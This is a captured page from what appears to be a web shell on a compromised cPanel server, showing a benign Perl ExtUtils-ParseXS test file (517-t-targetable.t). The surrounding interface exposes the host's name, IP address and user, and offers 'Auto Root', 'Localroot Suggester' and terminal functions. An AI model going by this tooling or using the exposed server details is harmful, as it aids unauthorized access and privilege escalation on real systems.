Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
ExtUtils-ParseXS /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
data
[ DIR ]
drwxr-xr-x
2015-02-14 16:56
lib
[ DIR ]
drwxr-xr-x
2015-02-14 16:56
001-basic.t
4.94
KB
-r--r--r--
2014-12-27 11:48
002-more.t
3.61
KB
-r--r--r--
2014-12-27 11:48
003-usage.t
2.65
KB
-r--r--r--
2014-12-27 11:48
101-standard_typemap_locations.t
1.14
KB
-r--r--r--
2014-12-27 11:48
102-trim_whitespace.t
613
B
-r--r--r--
2014-12-27 11:48
103-tidy_type.t
654
B
-r--r--r--
2014-12-27 11:48
104-map_type.t
2.21
KB
-r--r--r--
2014-12-27 11:48
105-valid_proto_string.t
837
B
-r--r--r--
2014-12-27 11:48
106-process_typemaps.t
1.36
KB
-r--r--r--
2014-12-27 11:48
108-map_type.t
377
B
-r--r--r--
2014-12-27 11:48
109-standard_XS_defs.t
588
B
-r--r--r--
2014-12-27 11:49
110-assign_func_args.t
1.34
KB
-r--r--r--
2014-12-27 11:48
111-analyze_preprocessor_statements.t
367
B
-r--r--r--
2014-12-27 11:48
112-set_cond.t
171
B
-r--r--r--
2014-12-27 11:48
113-check_cond_preproc_statements.t
4.43
KB
-r--r--r--
2014-12-27 11:48
114-blurt_death_Warn.t
2.77
KB
-r--r--r--
2014-12-27 11:48
115-avoid-noise.t
536
B
-r--r--r--
2014-12-27 11:48
501-t-compile.t
221
B
-r--r--r--
2014-12-27 11:48
510-t-bare.t
4.88
KB
-r--r--r--
2014-12-27 11:48
511-t-whitespace.t
886
B
-r--r--r--
2014-12-27 11:48
512-t-file.t
1.75
KB
-r--r--r--
2014-12-27 11:48
513-t-merge.t
3.44
KB
-r--r--r--
2014-12-27 11:48
514-t-embed.t
381
B
-r--r--r--
2014-12-27 11:48
515-t-cmd.t
1.99
KB
-r--r--r--
2014-12-27 11:48
516-t-clone.t
1.38
KB
-r--r--r--
2014-12-27 11:48
517-t-targetable.t
5.17
KB
-r--r--r--
2014-12-27 11:48
600-t-compat.t
4.83
KB
-r--r--r--
2014-12-27 11:48
XSInclude.xsh
85
B
-r--r--r--
2014-12-27 11:48
XSMore.xs
2.69
KB
-r--r--r--
2014-12-27 11:48
XSTest.pm
119
B
-r--r--r--
2014-12-27 11:48
XSTest.xs
1.2
KB
-r--r--r--
2014-12-27 11:48
XSUsage.pm
117
B
-r--r--r--
2014-12-27 11:48
XSUsage.xs
1.02
KB
-r--r--r--
2014-12-27 11:48
XSWarn.xs
219
B
-r--r--r--
2014-12-27 11:48
pseudotypemap1
130
B
-r--r--r--
2014-12-27 11:48
typemap
7.45
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!/usr/bin/perl use strict; use warnings; use Carp; use Cwd; use File::Spec; use Test::More; use lib qw( lib ); use ExtUtils::Typemaps; my $output_expr_ref = { 'T_CALLBACK' => ' sv_setpvn($arg, $var.context.value().chp(), $var.context.value().size()); ', 'T_OUT' => ' { GV *gv = newGVgen("$Package"); if ( do_open(gv, "+>&", 3, FALSE, 0, 0, $var) ) sv_setsv($arg, sv_bless(newRV((SV*)gv), gv_stashpv("$Package",1))); else $arg = &PL_sv_undef; } ', 'T_REF_IV_PTR' => ' sv_setref_pv($arg, \\"${ntype}\\", (void*)$var); ', 'T_U_LONG' => ' sv_setuv($arg, (UV)$var); ', 'T_U_CHAR' => ' sv_setuv($arg, (UV)$var); ', 'T_U_INT' => ' sv_setuv($arg, (UV)$var); ', 'T_ARRAY' => ' { U32 ix_$var; EXTEND(SP,size_$var); for (ix_$var = 0; ix_$var < size_$var; ix_$var++) { ST(ix_$var) = sv_newmortal(); DO_ARRAY_ELEM } } ', 'T_NV' => ' sv_setnv($arg, (NV)$var); ', 'T_SHORT' => ' sv_setiv($arg, (IV)$var); ', 'T_OPAQUE' => ' sv_setpvn($arg, (char *)&$var, sizeof($var)); ', 'T_PTROBJ' => ' sv_setref_pv($arg, \\"${ntype}\\", (void*)$var); ', 'T_HVREF' => ' $arg = newRV((SV*)$var); ', 'T_PACKEDARRAY' => ' XS_pack_$ntype($arg, $var, count_$ntype); ', 'T_INT' => ' sv_setiv($arg, (IV)$var); ', 'T_OPAQUEPTR' => ' sv_setpvn($arg, (char *)$var, sizeof(*$var)); ', 'T_BOOL' => ' $arg = boolSV($var); ', 'T_REFREF' => ' NOT_IMPLEMENTED ', 'T_REF_IV_REF' => ' sv_setref_pv($arg, \\"${ntype}\\", (void*)new $ntype($var)); ', 'T_STDIO' => ' { GV *gv = newGVgen("$Package"); PerlIO *fp = PerlIO_importFILE($var,0); if ( fp && do_open(gv, "+<&", 3, FALSE, 0, 0, fp) ) sv_setsv($arg, sv_bless(newRV((SV*)gv), gv_stashpv("$Package",1))); else $arg = &PL_sv_undef; } ', 'T_FLOAT' => ' sv_setnv($arg, (double)$var); ', 'T_IN' => ' { GV *gv = newGVgen("$Package"); if ( do_open(gv, "<&", 2, FALSE, 0, 0, $var) ) sv_setsv($arg, sv_bless(newRV((SV*)gv), gv_stashpv("$Package",1))); else $arg = &PL_sv_undef; } ', 'T_PV' => ' sv_setpv((SV*)$arg, $var); ', 'T_INOUT' => ' { GV *gv = newGVgen("$Package"); if ( do_open(gv, "+<&", 3, FALSE, 0, 0, $var) ) sv_setsv($arg, sv_bless(newRV((SV*)gv), gv_stashpv("$Package",1))); else $arg = &PL_sv_undef; } ', 'T_CHAR' => ' sv_setpvn($arg, (char *)&$var, 1); ', 'T_LONG' => ' sv_setiv($arg, (IV)$var); ', 'T_DOUBLE' => ' sv_setnv($arg, (double)$var); ', 'T_PTR' => ' sv_setiv($arg, PTR2IV($var)); ', 'T_AVREF' => ' $arg = newRV((SV*)$var); ', 'T_SV' => ' $arg = $var; ', 'T_ENUM' => ' sv_setiv($arg, (IV)$var); ', 'T_REFOBJ' => ' NOT IMPLEMENTED ', 'T_CVREF' => ' $arg = newRV((SV*)$var); ', 'T_UV' => ' sv_setuv($arg, (UV)$var); ', 'T_PACKED' => ' XS_pack_$ntype($arg, $var); ', 'T_SYSRET' => ' if ($var != -1) { if ($var == 0) sv_setpvn($arg, "0 but true", 10); else sv_setiv($arg, (IV)$var); } ', 'T_IV' => ' sv_setiv($arg, (IV)$var); ', 'T_PTRDESC' => ' sv_setref_pv($arg, \\"${ntype}\\", (void*)new\\U${type}_DESC\\E($var)); ', 'T_DATAUNIT' => ' sv_setpvn($arg, $var.chp(), $var.size()); ', 'T_U_SHORT' => ' sv_setuv($arg, (UV)$var); ', 'T_SVREF' => ' $arg = newRV((SV*)$var); ', 'T_PTRREF' => ' sv_setref_pv($arg, Nullch, (void*)$var); ', }; plan tests => scalar(keys %$output_expr_ref); my %results = ( T_UV => { type => 'u', with_size => undef, what => '(UV)$var', what_size => undef }, T_IV => { type => 'i', with_size => undef, what => '(IV)$var', what_size => undef }, T_NV => { type => 'n', with_size => undef, what => '(NV)$var', what_size => undef }, T_FLOAT => { type => 'n', with_size => undef, what => '(double)$var', what_size => undef }, T_PTR => { type => 'i', with_size => undef, what => 'PTR2IV($var)', what_size => undef }, T_PV => { type => 'p', with_size => undef, what => '$var', what_size => undef }, T_OPAQUE => { type => 'p', with_size => 'n', what => '(char *)&$var', what_size => ', sizeof($var)' }, T_OPAQUEPTR => { type => 'p', with_size => 'n', what => '(char *)$var', what_size => ', sizeof(*$var)' }, T_CHAR => { type => 'p', with_size => 'n', what => '(char *)&$var', what_size => ', 1' }, T_CALLBACK => { type => 'p', with_size => 'n', what => '$var.context.value().chp()', what_size => ",\n \$var.context.value().size()" }, # whitespace is significant here T_DATAUNIT => { type => 'p', with_size => 'n', what => '$var.chp()', what_size => ', $var.size()' }, ); $results{$_} = $results{T_UV} for qw(T_U_LONG T_U_INT T_U_CHAR T_U_SHORT); $results{$_} = $results{T_IV} for qw(T_LONG T_INT T_SHORT T_ENUM); $results{$_} = $results{T_FLOAT} for qw(T_DOUBLE); foreach my $xstype (sort keys %$output_expr_ref) { my $om = ExtUtils::Typemaps::OutputMap->new( xstype => $xstype, code => $output_expr_ref->{$xstype} ); my $targetable = $om->targetable; if (not exists($results{$xstype})) { ok(not(defined($targetable)), "$xstype not targetable") or diag(join ", ", map {defined($_) ? $_ : "<undef>"} %$targetable); } else { my $res = $results{$xstype}; is_deeply($targetable, $res, "$xstype targetable and has right output") or diag(join ", ", map {defined($_) ? $_ : "<undef>"} %$targetable); } }